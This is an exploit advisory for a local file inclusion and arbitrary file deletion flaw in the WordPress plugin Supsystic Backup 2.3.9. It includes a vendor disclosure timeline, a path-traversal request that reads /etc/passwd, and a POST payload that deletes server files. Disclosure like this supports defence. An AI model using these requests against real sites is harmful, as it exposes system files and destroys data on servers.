WordPress Plugin Supsystic Backup 2.3.9 – Local File Inclusion
# Exploit Title: WordPress Plugin Supsystic Backup 2.3.9 - Local File Inclusion # Date: 24/07/2020 # Exploit Author: Erik David Martin # Vendor Homepage: https://supsystic.com/ # Software Link: https://downloads.wordpress.org/plugin/backup-by-supsystic.zip # Version: 2.3.9 # Tested on: Ubuntu 16.04.6 LTS / WordPress 5.4.2 # 25/07 2020: Vendor notified # 27/07 2020: Vendor requested detailed information # 27/07 2020: Information provided # 07/08 2020: Nudged vendor. No reply # 22/08 2020: Nudged vendor. No reply # 04/10 2020: Nudged vendor. No reply. # 29/11 2020: WordPress Plugin Security team contacted # 01/12 2020: Plugin/Project closed by WordPress Security team # 1. Description Changing the path when downloading the stored backup allows an attacker to both read and delete internal system files (LFI). # 2. Proof of Concept (PoC) Create a backup. When downloading the backup, change its path: GET http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog&download=../../../../../../../../../etc/passwd The "Delete" tab also allows an attacker to delete files on the server: POST http://192.168.0.49/wp-admin/admin.php?page=supsystic-backup&tab=bupLog Payload: reqType=ajax&page=backup&action=removeAction&filename=[FILE PATH]&deleteLog=1&pl=bup |